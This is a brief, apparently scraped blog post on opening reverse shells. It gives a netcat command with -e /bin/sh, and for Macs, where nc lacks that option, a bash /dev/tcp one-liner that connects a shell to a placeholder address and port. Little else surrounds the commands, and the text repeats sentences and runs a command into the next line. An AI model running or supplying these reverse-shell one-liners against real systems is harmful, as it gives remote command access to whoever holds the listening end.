netcat (nc) is a utility for arbitrary TCP and UDP connections and listens. According to the nc manual, -e option specifies filename to exec after
connect. Thus in general, we can easily make reverse shell by using this command:
Instead, Mac has enabled their bash network redirection (/dev/tcp or /dev/udp). Thus instead of using nc for reverse binding shell, we can simply use this command:
Useful reference: http://shudder.daemonette.org/source/BashNP-Guide.txt
nc <addr> <port> -e /bin/shHowever, nc on Mac does not have -e option.
Instead, Mac has enabled their bash network redirection (/dev/tcp or /dev/udp). Thus instead of using nc for reverse binding shell, we can simply use this command:
/bin/bash 0</dev/tcp/addr/port 1>&0 2>&0Note this technique will not work on default Debian machines. You have to enable bash network redirection to use this.
Useful reference: http://shudder.daemonette.org/source/BashNP-Guide.txt
Trackback URL : http://divine-protection.com/tc/trackback/29


